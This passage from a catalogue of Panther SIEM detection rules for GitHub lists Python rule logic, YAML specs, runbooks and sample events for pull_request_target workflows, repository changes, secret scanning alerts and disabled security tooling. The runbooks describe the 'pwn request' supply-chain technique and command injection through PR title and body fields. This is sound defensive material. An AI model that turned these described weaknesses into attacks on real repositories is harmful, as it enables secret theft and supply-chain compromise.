- Disable or delete the workflow file that uses pull_request_target + self-hosted
- Or modify to use "runs-on: ubuntu-latest"
4. Check runner system for compromise:
- Review auth logs for unauthorized access
- Check network connections: netstat -tunap | grep ESTABLISHED
- Look for persistence mechanisms (cron, systemd, rc.local)
- Check for suspicious processes or files
- Review bash history for malicious commands
5. Review recent workflow runs:
- Check all workflows that ran on this runner in past 7 days
- Look for other suspicious activity
- Identify if compromise occurred in previous runs
6. Search for indicators of compromise:
- Outbound connections to suspicious IPs/domains
- New user accounts or SSH keys on runner system
- Modified system files or configurations
- Cryptocurrency miners or backdoors
- Data staging areas or compressed archives
GitHub pull_request_target Workflow Usage
#Detects usage of pull_request_target workflows, which run with elevated privileges and can access secrets even when triggered by external contributors from forks. These workflows pose security risks as they run in the context of the target repository rather than the fork, potentially allowing malicious code execution with write access and secrets. Low severity for non-cross-fork PRs.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Initial Access | |
| Execution | |
| Privilege Escalation |
Rules detecting the same action
These rules filter on the same operation.
- GitHub Workflow Contains Checkout Action (Panther)
- GitHub Workflow Downloading Artifacts (Panther)
- GitHub Workflow Using Self-Hosted Runner (Panther)
Detection logic
from panther_base_helpers import deep_get
from panther_github_helpers import (
github_reference_url,
github_webhook_alert_context,
is_cross_fork_pr,
)
def rule(event):
return (
event.deep_get("workflow_run", "event") == "pull_request_target"
and event.get("action") == "completed"
)
def title(event):
workflow_name = event.deep_get("workflow_run", "name", default="<UNKNOWN_WORKFLOW>")
repo_name = deep_get(event, "repository", "full_name", default="<UNKNOWN_REPO>")
action = event.get("action", "<UNKNOWN_ACTION>")
if is_cross_fork_pr(event):
return (
f"pull_request_target workflow [{workflow_name}] "
f"triggered by cross-fork PR in {repo_name} ({action})"
)
return f"pull_request_target workflow [{workflow_name}] triggered in {repo_name} ({action})"
def alert_context(event):
context = github_webhook_alert_context(event)
workflow_run = event.get("workflow_run", {})
if workflow_run:
context["workflow_run"] = {
"id": workflow_run.get("id"),
"name": workflow_run.get("name"),
"event": workflow_run.get("event"),
"status": workflow_run.get("status"),
"conclusion": workflow_run.get("conclusion"),
"html_url": workflow_run.get("html_url"),
}
return context
def reference(event):
if reference_url := github_reference_url(event):
return reference_url
return "DEFAULT"
def severity(event):
if is_cross_fork_pr(event):
return "DEFAULT"
return "LOW"
Rule specification
AnalysisType: rule
Filename: github_pull_request_target_usage.py
RuleID: "GitHub.Webhook.PullRequestTargetUsage"
DisplayName: "GitHub pull_request_target Workflow Usage"
Enabled: true
LogTypes:
- GitHub.Webhook
Reports:
MITRE ATT&CK:
- TA0001:T1195.002 # Supply Chain Compromise: Compromise Software Supply Chain
- TA0002:T1072 # Execution: Software Deployment Tools
- TA0004:T1134 # Privilege Escalation: Access Token Manipulation
Tags:
- CI/CD
- Workflow
- Privilege Escalation
Severity: High
Description: >
Detects usage of pull_request_target workflows, which run with elevated privileges and can access
secrets even when triggered by external contributors from forks. These workflows pose security risks
as they run in the context of the target repository rather than the fork, potentially allowing
malicious code execution with write access and secrets. Low severity for non-cross-fork PRs.
Runbook: |
1. Verify the pull_request_target workflow is necessary and properly secured
2. Check that the workflow doesn't build or run untrusted code from the pull request
3. Ensure the workflow follows security best practices:
- Uses explicit checkout with trusted refs
- Validates inputs and doesn't execute arbitrary code
- Has minimal required permissions
4. Review the workflow file for potential security vulnerabilities
5. Monitor for unusual activity from external contributors
6. Consider if pull_request event would be sufficient instead
Reference: https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target
Stages and Predicates
Fires on GitHub.Webhook events when all of the conditions below hold.
Condition
workflow_run.eventispull_request_targetactioniscompleted
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq value:"completed" |
workflow_run.event | eq |
| field:"workflow_run.event" kind:eq value:"pull_request_target" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
action | |
actor | |
actor_location | actor_location.country_code |
org | |
repo | |
user | |
name | workflow_run.name |
full_name | repository.full_name |
Response runbook
1. Verify the pull_request_target workflow is necessary and properly secured
2. Check that the workflow doesn't build or run untrusted code from the pull request
3. Ensure the workflow follows security best practices:
- Uses explicit checkout with trusted refs
- Validates inputs and doesn't execute arbitrary code
- Has minimal required permissions
4. Review the workflow file for potential security vulnerabilities
5. Monitor for unusual activity from external contributors
6. Consider if pull_request event would be sufficient instead
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "completed",
"repository": {
"full_name": "example-org/example-repo",
"id": 243627255,
"private": true
},
"workflow_run": {
"conclusion": "success",
"event": "pull_request_target",
"head_branch": "feature-branch",
"html_url": "https://github.com/example-org/example-repo/actions/runs/12345678",
"id": 12345678,
"name": "Security Scan",
"pull_requests": [
{
"base": {
"ref": "main",
"repo": {
"full_name": "example-org/example-repo",
"id": 243627255,
"name": "example-repo"
}
},
"head": {
"ref": "feature-branch",
"repo": {
"full_name": "example-org/example-repo",
"id": 243627255,
"name": "example-repo"
}
},
"number": 123
}
],
"status": "completed"
}
}
GitHub pull_request_target Workflow with Checkout Action
#Detects when a pull_request_target workflow contains a checkout action, creating a potential security risk. pull_request_target workflows run with elevated privileges and have access to repository secrets even when triggered by external contributors from forks. When combined with a checkout action, this can create dangerous attack vectors. This is a well-known technique for supply chain compromise in GitHub Actions, often called a "pwn request".
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Initial Access | |
| Execution | |
| Privilege Escalation |
Rule specification
AnalysisType: correlation_rule
RuleID: "GitHub.PullRequestTarget.WITH.Checkout.In.Workflow"
DisplayName: "GitHub pull_request_target Workflow with Checkout Action"
Enabled: false
Severity: Medium
Tags:
- CI/CD
- Workflow
- Supply Chain
- Privilege Escalation
Reports:
MITRE ATT&CK:
- TA0001:T1195.002 # Supply Chain Compromise: Compromise Software Supply Chain
- TA0002:T1072 # Execution: Software Deployment Tools
- TA0004:T1134 # Privilege Escalation: Access Token Manipulation
Description: >
Detects when a pull_request_target workflow contains a checkout action, creating a potential
security risk. pull_request_target workflows run with elevated privileges and have access to
repository secrets even when triggered by external contributors from forks. When combined with
a checkout action, this can create dangerous attack vectors. This is a well-known technique for
supply chain compromise in GitHub Actions, often called a "pwn request".
Runbook: |
0: Assess Actual Severity
- Check if this was triggered by a cross-fork PR. Cross-fork PRs are significantly more dangerous as any GitHub user can submit them.
1. Review the workflow file immediately to determine the security impact
2. Check what the checkout action is checking out:
- Look for 'ref' parameter in the checkout step in .github/workflows/
- PR head checkout should be treated as higher severity as untrusted code can be executed with the wokflow secrets (ref: ${{ github.event.pull_request.head.sha }}). If no ref is specified in the workflow, the default is the PR head.
- Base branch checkout (ref: ${{ github.event.pull_request.base.ref }}) or ${{ github.base_ref }} can be treated as medium severity. They are generally safer but can still be vulnerable.
3. Verify if the workflow uses untrusted PR context data (even with base branch checkout):
- Check for: ${{ github.event.pull_request.title }}, .body, .head_ref, .user.login, etc.
- These can inject malicious commands even when code is trusted
- If found, carefully review workflow and PR logs to determine malicious intent.
4. Check if workflow executes code from the checked-out repository:
- Build scripts, tests, or any arbitrary code execution
- npm install, pip install, or dependency installations from checked out code
- If yes with PR head checkout, this should be treated as a higher severity alert.
5. Review workflow permissions and secret access:
- Check GITHUB_TOKEN permissions
- Identify which secrets are accessible
- Higher risk if write permissions or sensitive secrets present
7. Immediate mitigation if vulnerable:
- Review and consider disabling
- Switch to pull_request event if elevated privileges aren't needed
- Implement explicit checkout of trusted refs only
- Sanitize all PR context variables before use
8. Review PR author and changes for signs of malicious intent
9. Check workflow run logs for suspicious activity or exfiltration attempts
Reference: https://securitylab.github.com/research/github-actions-preventing-pwn-requests/
Detection:
- Group:
- ID: PullRequestTarget
RuleID: GitHub.Webhook.PullRequestTargetUsage
- ID: WorkflowCheckout
RuleID: GitHub.Webhook.WorkflowContainsCheckout
MatchCriteria:
field_name:
- GroupID: PullRequestTarget
Match: workflow_run.id
- GroupID: WorkflowCheckout
Match: workflow_job.run_id
EventEvaluationOrder: Chronological
LookbackWindowMinutes: 1800
Schedule:
RateMinutes: 1440
TimeoutMinutes: 10
Stages and Predicates
Fires when the steps below all occur within 30h, correlated by workflow_job.run_id, workflow_run.id. Each step needs one match unless a higher minimum is shown.
Stage 1: step PullRequestTarget
References detection GitHub pull_request_target Workflow Usage.
Stage 2: step WorkflowCheckout
References detection GitHub Workflow Contains Checkout Action.
Response runbook
0: Assess Actual Severity
- Check if this was triggered by a cross-fork PR. Cross-fork PRs are significantly more dangerous as any GitHub user can submit them.
1. Review the workflow file immediately to determine the security impact
2. Check what the checkout action is checking out:
- Look for 'ref' parameter in the checkout step in .github/workflows/
- PR head checkout should be treated as higher severity as untrusted code can be executed with the wokflow secrets (ref: ${{ github.event.pull_request.head.sha }}). If no ref is specified in the workflow, the default is the PR head.
- Base branch checkout (ref: ${{ github.event.pull_request.base.ref }}) or ${{ github.base_ref }} can be treated as medium severity. They are generally safer but can still be vulnerable.
3. Verify if the workflow uses untrusted PR context data (even with base branch checkout):
- Check for: ${{ github.event.pull_request.title }}, .body, .head_ref, .user.login, etc.
- These can inject malicious commands even when code is trusted
- If found, carefully review workflow and PR logs to determine malicious intent.
4. Check if workflow executes code from the checked-out repository:
- Build scripts, tests, or any arbitrary code execution
- npm install, pip install, or dependency installations from checked out code
- If yes with PR head checkout, this should be treated as a higher severity alert.
5. Review workflow permissions and secret access:
- Check GITHUB_TOKEN permissions
- Identify which secrets are accessible
- Higher risk if write permissions or sensitive secrets present
7. Immediate mitigation if vulnerable:
- Review and consider disabling
- Switch to pull_request event if elevated privileges aren't needed
- Implement explicit checkout of trusted refs only
- Sanitize all PR context variables before use
8. Review PR author and changes for signs of malicious intent
9. Check workflow run logs for suspicious activity or exfiltration attempts
GitHub Repository Archived
#Detects when a repository is archived.
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GitHub | Audit log action repo.archived: Repository archived |
Rules detecting the same action
These rules filter on the same operation.
Rule specification
AnalysisType: rule
RuleID: "Github.Repo.Archived"
DisplayName: "GitHub Repository Archived"
Enabled: true
CreateAlert: false
LogTypes:
- GitHub.Audit
Tags:
- GitHub
- panther-signal
Reference: https://docs.github.com/en/repositories/archiving-a-github-repository/about-archiving-content-and-data-on-github
Severity: Info
Description: Detects when a repository is archived.
Detection:
- Key: action
Condition: Equals
Value: repo.archived
AlertTitle: "Repository [{repo}] archived."
AlertContext:
- KeyName: action
KeyValue:
Key: action
- KeyName: actor
KeyValue:
Key: actor
- KeyName: org
KeyValue:
Key: org
- KeyName: repo
KeyValue:
Key: repo
- KeyName: user
KeyValue:
Key: user
- KeyName: actor_location
KeyValue:
KeyPath: actor_location.country_code
Stages and Predicates
Fires on GitHub.Audit events when the condition below holds.
Condition
actionisrepo.archived
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq value:"repo.archived" |
GitHub Repository Collaborator Change
#Detects when a repository collaborator is added or removed.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Initial Access |
Telemetry coverage
Detection logic
def rule(event):
return event.get("action") in ("repo.add_member", "repo.remove_member")
def title(event):
repo_link = f"https://github.com/{event.get('repo','<UNKNOWN_REPO>')}/settings/access"
action = "added to"
if event.get("action") == "repo.remove_member":
action = "removed from"
return (
f"Repository collaborator [{event.get('user', '<UNKNOWN_USER>')}] {action} "
f"repository {event.get('repo', '<UNKNOWN_REPO>')}. "
f"View current collaborators here: {repo_link}"
)
def severity(event):
if event.get("action") == "repo.remove_member":
return "INFO"
return "MEDIUM"
Rule specification
AnalysisType: rule
Filename: github_repo_collaborator_change.py
RuleID: "Github.Repo.CollaboratorChange"
DisplayName: "GitHub Repository Collaborator Change"
Enabled: true
LogTypes:
- GitHub.Audit
Tags:
- GitHub
- Initial Access:Supply Chain Compromise
Reports:
MITRE ATT&CK:
- TA0001:T1195
Severity: Medium
Description: Detects when a repository collaborator is added or removed.
Runbook: Determine if the new collaborator is authorized to access the repository.
Reference: https://docs.github.com/en/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-an-individuals-access-to-an-organization-repository
Stages and Predicates
Fires on GitHub.Audit events when the condition below holds.
Condition
actionis one ofrepo.add_member,repo.remove_member
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | in |
| field:"action" kind:in |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field |
|---|
user |
repo |
Response runbook
Determine if the new collaborator is authorized to access the repository.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "repo.add_member",
"actor": "bob",
"created_at": 1621305118553,
"org": "my-org",
"p_log_type": "GitHub.Audit",
"repo": "my-org/my-repo",
"user": "cat"
}
GitHub Repository Created
#Detects when a repository is created.
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GitHub | Audit log action repo.create: Repository created |
Rules detecting the same action
These rules filter on the same operation.
- GitHub - Repository was created (Kusto)
- Github Public Repository Created (Panther)
- GitHub Repo Created (Elastic)
- NX Supply Chain - S1ngularity Repository Detection (Panther)
Detection logic
def rule(event):
return event.get("action") == "repo.create"
def title(event):
return f"Repository [{event.get('repo', '<UNKNOWN_REPO>')}] created."
Rule specification
AnalysisType: rule
Filename: github_repo_created.py
RuleID: "Github.Repo.Created"
DisplayName: "GitHub Repository Created"
Enabled: true
LogTypes:
- GitHub.Audit
Tags:
- GitHub
Reference: https://docs.github.com/en/get-started/quickstart/create-a-repo
Severity: Info
Description: Detects when a repository is created.
Stages and Predicates
Fires on GitHub.Audit events when the condition below holds.
Condition
actionisrepo.create
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq value:"repo.create" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field |
|---|
repo |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "repo.create",
"actor": "cat",
"created_at": 1621305118553,
"org": "my-org",
"p_log_type": "GitHub.Audit",
"repo": "my-org/my-repo"
}
GitHub Repository Ruleset Modified
#Disabling repository ruleset controls could indicate malicious use of admin credentials in an attempt to hide activity.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Defense Impairment |
Telemetry coverage
Detection logic
from panther_github_helpers import github_alert_context
def rule(event):
return event.get("action").startswith("repository_ruleset.")
def title(event):
action = "modified"
if event.get("action").endswith("destroy"):
action = "deleted"
elif event.get("action").endswith("create"):
action = "created"
title_str = (
f"Github repository ruleset for [{event.get('repo', '<UNKNOWN_REPO>')}]"
f" {action} by [{event.get('actor','<UNKNOWN_ACTOR>')}]"
)
if event.get("ruleset_source_type", default="<UNKNOWN_SOURCE_TYPE>") == "Organization":
title_str = (
f"Github repository ruleset for Organization [{event.get('org', '<UNKNOWN_ORG>')}]"
f" {action} by [{event.get('actor','<UNKNOWN_ACTOR>')}]"
)
return title_str
def dedup(event):
return event.get("_document_id", "")
def severity(event):
if event.get("action").endswith("create"):
return "INFO"
if event.get("action").endswith("update"):
return "MEDIUM"
if event.get("action").endswith("destroy"):
return "HIGH"
return "DEFAULT"
def alert_context(event):
ctx = github_alert_context(event)
ctx["user"] = event.get("actor", "")
ctx["actor_is_bot"] = event.get("actor_is_bot", "")
ctx["actor_user_agent"] = event.get("user_agent", "")
ctx["business"] = event.get("business", "")
ctx["public_repo"] = event.get("public_repo", "")
ctx["operation_type"] = event.get("operation_type", "")
ctx["ruleset_bypass_actors"] = event.deep_walk("ruleset_bypass_actors")
ctx["ruleset_conditions"] = event.deep_walk("ruleset_conditions")
ctx["ruleset_rules"] = event.deep_walk("ruleset_rules")
return ctx
Rule specification
AnalysisType: rule
Filename: github_repo_ruleset_modified.py
RuleID: "GitHub.Repo.RulesetModified"
DisplayName: "GitHub Repository Ruleset Modified"
Enabled: true
LogTypes:
- GitHub.Audit
Tags:
- GitHub
- Defense Evasion
- Impair Defenses
- Disable or Modify Tools
Reports:
MITRE ATT&CK:
- TA0005:T1562 # Impair Defenses: Disable or Modify Tools
Reference: https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/about-rulesets
Severity: Info
Description: Disabling repository ruleset controls could indicate malicious use of admin credentials in an attempt to hide activity.
DedupPeriodMinutes: 60
Threshold: 1
Runbook: Verify that ruleset modifications are intended and authorized.
Stages and Predicates
Fires on GitHub.Audit events when the condition below holds.
Condition
actionstarts withrepository_ruleset.
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | starts_with |
| field:"action" kind:starts_with value:"repository_ruleset." |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
action | |
actor | |
actor_location | actor_location.country_code |
org | |
repo | |
user |
Response runbook
Verify that ruleset modifications are intended and authorized.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "repository_ruleset.create",
"actor": "dog",
"actor_id": "999999999",
"actor_is_bot": false,
"actor_location": {
"country_code": "US"
},
"business": "bizname",
"business_id": "12345",
"created_at": "2024-12-17 00:00:00000000",
"operation_type": "create",
"org": "some-org",
"org_id": 12345678,
"public_repo": true,
"repo": "some-org/ruleset-repo",
"repo_id": 123456789,
"ruleset_bypass_actors": [
{
"actor_id": 123456,
"actor_type": "Integration",
"bypass_mode": "always",
"id": 123456
},
{
"actor_id": 123456,
"actor_type": "Team",
"bypass_mode": "always",
"id": 1234567
}
],
"ruleset_conditions": [
{
"id": 1234567,
"parameters": {
"exclude": [],
"include": [
"~DEFAULT_BRANCH"
]
},
"target": "ref_name"
}
],
"ruleset_enforcement": "enabled",
"ruleset_id": "1234567",
"ruleset_name": "a-ruleset-name",
"ruleset_rules": [
{
"id": 12345678,
"parameters": {
"allowed_merge_methods": [
"merge",
"squash",
"rebase"
],
"authorized_dismissal_actors_only": false,
"automatic_copilot_code_review_enabled": false,
"dismiss_stale_reviews_on_push": false,
"ignore_approvals_from_contributors": false,
"require_code_owner_review": false,
"require_last_push_approval": false,
"required_approving_review_count": 1,
"required_review_thread_resolution": false,
"required_reviewers": []
},
"type": "pull_request"
},
{
"id": 12345678,
"parameters": {},
"type": "deletion"
},
{
"id": 12345678,
"parameters": {},
"type": "non_fast_forward"
}
],
"ruleset_source_type": "Repository",
"user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
}
Github Repository Transfer
#A user accepted a request to receive a transferred Github repository, a Github repository was transferred to another repository network, or a user sent a request to transfer a repository to another user or organization.
Telemetry coverage
Rules detecting the same action
These rules filter on the same operation.
Detection logic
from panther_github_helpers import github_alert_context
def rule(event):
# Return True to match the log event and trigger an alert.
return event.get("action", "") in (
"repo.transfer",
"repo.transfer_outgoing",
"repo.transfer_start",
)
def title(event):
# (Optional) Return a string which will be shown as the alert title.
# If no 'dedup' function is defined, the return value of this method
# will act as deduplication string.
action = event.get("action", "")
if action == "repo.transfer":
# return something like: A user accepted a request to receive a transferred repository.
return (
f"Github User [{event.get('actor','NO_ACTOR_FOUND')}] accepted a request to "
f"receive repository [{event.get('repo','NO_REPO_NAME_FOUND')}] in "
f"[{event.get('org','NO_ORG_NAME_FOUND')}]."
)
if action == "repo.transfer_outgoing":
# return something like: A repository was transferred to another repository network.
return (
f"Github User [{event.get('actor','NO_ACTOR_FOUND')}] transferred repository "
f"[{event.get('repo','NO_REPO_NAME_FOUND')}] in "
f"[{event.get('org','NO_ORG_NAME_FOUND')}]."
)
if action == "repo.transfer_start":
# return something like: A user sent a request to transfer a
# repository to another user or organization.
return (
f"Github User [{event.get('actor','NO_ACTOR_FOUND')}] sent a request to "
f"transfer repository [{event.get('repo','NO_REPO_NAME_FOUND')}] "
f"to another user or organization."
)
return ""
def alert_context(event):
# (Optional) Return a dictionary with additional data to be included in the alert
# sent to the SNS/SQS/Webhook destination
return github_alert_context(event)
Rule specification
AnalysisType: rule
Description: A user accepted a request to receive a transferred Github repository, a Github repository was transferred to another repository network, or a user sent a request to transfer a repository to another user or organization.
DisplayName: "Github Repository Transfer"
Enabled: true
Filename: github_repository_transfer.py
Reference: |-
https://docs.github.com/en/enterprise-server@3.3/repositories/creating-and-managing-repositories/transferring-a-repository
https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#repo-category-actions
Runbook: Please check with the referenced users or their supervisors to ensure the transferring of this repository is expected and allowed.
Severity: Medium
Tags:
- Github Repository
- Github Repository Transfer
- Repository
- Transfer
DedupPeriodMinutes: 60
LogTypes:
- GitHub.Audit
RuleID: "Github.Repository.Transfer"
SummaryAttributes:
- action
Threshold: 1
Stages and Predicates
Fires on GitHub.Audit events when the condition below holds.
Condition
actionis one ofrepo.transfer,repo.transfer_outgoing,repo.transfer_start
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | in |
| field:"action" kind:in |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
action | |
actor | |
actor_location | actor_location.country_code |
org | |
repo | |
user |
Response runbook
Please check with the referenced users or their supervisors to ensure the transferring of this repository is expected and allowed.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"_document_id": "BodJtQIrT3kWMIQpm1ANew",
"action": "repo.transfer_outgoing",
"actor": "user-name",
"actor_location": {
"country_code": "US"
},
"at_sign_timestamp": "2022-12-14 19:16:31.299",
"created_at": "2022-12-14 19:16:31.299",
"org": "your-organization",
"repo": "your-organizatoin/project_repo",
"visibility": "private"
}
GitHub Repository Visibility Change
#Detects when an organization repository visibility changes.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Exfiltration |
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GitHub | Audit log action repo.access: Repository visibility changed |
Rules detecting the same action
These rules filter on the same operation.
Detection logic
def rule(event):
return event.get("action") == "repo.access"
def title(event):
repo_access_link = f"https://github.com/{event.get('repo','<UNKNOWN_REPO>')}/settings/access"
return (
f"Repository [{event.get('repo', '<UNKNOWN_REPO>')}] visibility changed. "
f"View current visibility here: {repo_access_link}"
)
Rule specification
AnalysisType: rule
Filename: github_repo_visibility_change.py
RuleID: "Github.Repo.VisibilityChange"
DisplayName: "GitHub Repository Visibility Change"
Enabled: true
LogTypes:
- GitHub.Audit
Tags:
- GitHub
- Exfiltration:Exfiltration Over Web Service
Reports:
MITRE ATT&CK:
- TA0010:T1567
Reference: https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility
Severity: High
Description: Detects when an organization repository visibility changes.
Stages and Predicates
Fires on GitHub.Audit events when the condition below holds.
Condition
actionisrepo.access
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq value:"repo.access" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field |
|---|
repo |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "repo.access",
"actor": "cat",
"created_at": 1621305118553,
"org": "my-org",
"p_log_type": "GitHub.Audit",
"repo": "my-org/my-repo"
}
GitHub Secret Scanning Alert Created
#GitHub detected a secret and created a secret scanning alert.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Credential Access |
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GitHub | Audit log action secret_scanning_alert.create: Secret scanning alert created |
Rules detecting the same action
These rules filter on the same operation.
- GitHub Secret Scanning Alert (YARA-L)
Detection logic
def rule(event):
return event.get("action", "") == "secret_scanning_alert.create"
def title(event):
return (
f"Github detected a secret in {event.get('repo', '<REPO_NOT_FOUND>')} "
f"(#{event.get('number', '<NUMBER_NOT_FOUND>')})"
)
def alert_context(event):
return {
"github_organization": event.get("org", "<ORG_NOT_FOUND>"),
"github_repository": event.get("repo", "<REPO_NOT_FOUND>"),
"alert_number": str(event.get("number", "<NUMBER_NOT_FOUND>")),
"url": (
f"https://github.com/{event.get('repo')}/security/secret-scanning/"
f"{event.get('number')}"
if all([event.get("repo"), event.get("number")])
else "<URL_NOT_FOUND>"
),
}
Rule specification
AnalysisType: rule
Filename: github_secret_scanning_alert_created.py
RuleID: "GitHub.Secret.Scanning.Alert.Created"
DisplayName: "GitHub Secret Scanning Alert Created"
Enabled: true
LogTypes:
- GitHub.Audit
Tags:
- GitHub
Reports:
MITRE ATT&CK:
- TA0006:T1552
Severity: Medium
Description: GitHub detected a secret and created a secret scanning alert.
Runbook: Review the secret to determine if it needs to be revoked or the alert suppressed.
Reference: https://docs.github.com/en/code-security/secret-scanning/about-secret-scanning
Stages and Predicates
Fires on GitHub.Audit events when the condition below holds.
Condition
actionissecret_scanning_alert.create
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq value:"secret_scanning_alert.create" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
github_organization | org |
github_repository | repo |
alert_number | number |
Response runbook
Review the secret to determine if it needs to be revoked or the alert suppressed.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "secret_scanning_alert.create",
"actor": "github",
"actor_id": "1234",
"business": "Acme Inc.",
"business_id": "12345",
"created_at": "2023-10-18 18:20:52.209000000",
"number": 12,
"org": "acme-inc",
"org_id": 1234567,
"repo": "acme-inc/crown-jewels",
"repo_id": 123456789
}
GitHub Security Change, includes GitHub Advanced Security
#The rule alerts when GitHub Security tools (Dependabot, Secret Scanner, etc) are disabled.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Defense Impairment |
Telemetry coverage
Rules detecting the same action
These rules filter on the same operation.
- GitHub Dependabot Vulnerability Alerts Disabled (YARA-L)
- GitHub Enterprise Disable 2FA Requirement (Splunk)
- GitHub Enterprise Disable Dependabot (Splunk)
- Github High Risk Configuration Disabled (Sigma)
- GitHub Organizations Disable Dependabot (Splunk)
- Github Push Protection Disabled (Sigma)
- GitHub Secret Scanning Disabled Or Bypassed (YARA-L)
- Github Secret Scanning Feature Disabled (Sigma)
Detection logic
from panther_github_helpers import github_alert_context
# List of actions in markdown format
# pylint: disable=line-too-long
# https://github.com/github/docs/blob/main/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise.md
# grep '^| `' audit-log-events-for-your-enterprise.md.txt | sed -e 's/\| //' -e 's/`//g' | awk -F\| '{if ($1 ~ /business/) {print $1}}'
# pylint: enable=line-too-long
# {GitHub Action: Alert Severity}
ADV_SEC_ACTIONS = {
"dependabot_alerts.disable": "CRITICAL",
"dependabot_alerts_new_repos.disable": "HIGH",
"dependabot_security_updates.disable": "CRITICAL",
"dependabot_security_updates_new_repos.disable": "HIGH",
"repository_secret_scanning_push_protection.disable": "HIGH",
"secret_scanning.disable": "CRITICAL",
"secret_scanning_new_repos.disable": "HIGH",
"bypass": "MEDIUM", # Bypass secret scanner push protection for a detected secret.
# pylint: disable=line-too-long
# The events that begin with "business" are seemingly from enterprise logs
# business.disable_oidc - OIDC single sign-on was disabled for an enterprise.
"business.disable_oidc": "CRITICAL",
# business.disable_saml - SAML single sign-on was disabled for an enterprise.
"business.disable_saml": "CRITICAL",
# business.disable_two_factor_requirement - The requirement for members to
# have two-factor authentication enabled to access an enterprise was disabled.
"business.disable_two_factor_requirement": "CRITICAL",
# business.members_can_update_protected_branches.disable - The ability for
# enterprise members to update branch protection rules was disabled.
# Only enterprise owners can update protected branches.
"business.members_can_update_protected_branches.disable": "MEDIUM",
# business.referrer_override_disable - An enterprise owner or site administrator
# disabled the referrer policy override.
"business.referrer_override_disable": "MEDIUM",
# business_advanced_security.disabled - {% data
# variables.product.prodname_GH_advanced_security %}
# was disabled for your enterprise. For more information, see "[Managing
# {% data variables.product.prodname_GH_advanced_security %}
# features for your enterprise]
# (/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)."
"business_advanced_security.disabled": "CRITICAL",
# business_advanced_security.disabled_for_new_repos - {% data
# variables.product.prodname_GH_advanced_security %} was disabled for
# new repositories in your enterprise. For more information, see
# "[Managing {% data variables.product.prodname_GH_advanced_security %} features
# for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)."
"business_advanced_security.disabled_for_new_repos": "HIGH",
# business_secret_scanning.disable - {% data variables.product.prodname_secret_scanning_caps %} was disabled for your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)."
"business_secret_scanning.disable": "CRITICAL",
# business_secret_scanning.disabled_for_new_repos - {% data variables.product.prodname_secret_scanning_caps %} was disabled for new repositories in your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)."
"business_secret_scanning.disabled_for_new_repos": "CRITICAL",
# business_secret_scanning_custom_pattern_push_protection.disabled - Push protection for a custom pattern for {% data variables.product.prodname_secret_scanning %} was disabled for your enterprise. For more information, see "[Defining custom patterns for {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning#defining-a-custom-pattern-for-an-enterprise-account)."
"business_secret_scanning_custom_pattern_push_protection.disabled": "HIGH",
